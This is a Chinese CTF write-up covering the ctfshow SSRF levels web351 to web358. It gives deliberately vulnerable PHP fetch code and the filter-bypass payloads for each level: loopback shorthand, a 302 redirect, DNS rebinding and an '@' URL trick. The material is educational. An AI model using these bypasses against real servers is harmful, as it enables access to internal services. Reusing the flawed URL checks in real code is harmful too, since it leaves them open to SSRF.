web351
payload:url=http://127.0.0.1/flag.php
web352
- 源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
- parse_url
$url = "http://www.electrictoolbox.com/php-extract-domain-from-full-url/";
$parts = parse_url($url);
# 输出结果
Array (
[scheme] => http
[host] => www.electrictoolbox.com
[path] => /php-extract-domain-from-full-url/
)
- 过滤了
localhost和127.0.0
- 绕过方式
- 进制转化 可以转换为16进制
- 127.0.0.1可以缩写为127.1或者127.0.1
paylaod:url=http://127.1/flag.php
web353
- 同上题目 过滤多了点
- 可以用127.1或者进制转换
web354
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
- 这道题一开是没想到怎么做
- 后来想想前几天看佬在我面前解题用的方法
302跳转
- 自己搭建一个网站,内容是一个跳转
<?php
header("Location:http://127.0.0.1/flag.php");
?>
然后payload就是自己网址下的这个页面
其他方法
- url=http://sudo.cc/flag.php 该域名绑定的就是127.0.0.1
web355
- 限制了host长度小于等于5
- 直接127.1绕过
web356
- 限制host长度小于等于3
- payload:http://0/flag.php
0.0.0.0,最特殊的一个ip地址,代表的是本机所有ip地址,不管你有多少个网口,多少个ip,如果监听本机的0.0.0.0上的端口,就等于监听机器上的所有ip端口。
web357
- 源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?> scheme
1.gethostbyname():通过域名获取ip地址
2. filter_var(variable, filter, options)
- variable:必需。规定要过滤的变量。
- filter:可选。规定要使用的过滤器的 ID
- options:可选。规定一个包含标志/选项的关联数组或者一个单一的标志/选项
FILTER_VALIDATE_IP 过滤器把值作为 IP 进行验证。- 该题选择的过滤器:FILTER_VALIDATE_IP
Name: “validate_ip”
ID-number: 275
可能的标志:
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。
- 这题可以用302跳转
<?php
header("Location:http://127.0.0.1/flag.php");
?>
- 不能用自己的私域IP
- 等等 去问问佬
DNS重绑定
- 这道题还可以用这个方法DNS重绑定
- 访问http://ceye.io/ 注册个账号
- 修改为如下,Identifier中的内容为你的域名吧。
- 然后payload:http://r.xxxxxx/flag.php
- 多试几次就可以成功了。
web358
- 源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
- 正则的要求是http://ctf.开头以show结尾
- 有个好玩的东西 访问一下 www.baidu.com@4399.com 你会访问到4399
- 这道题的payload:
url=http://ctf.@127.0.0.1/flag.php?show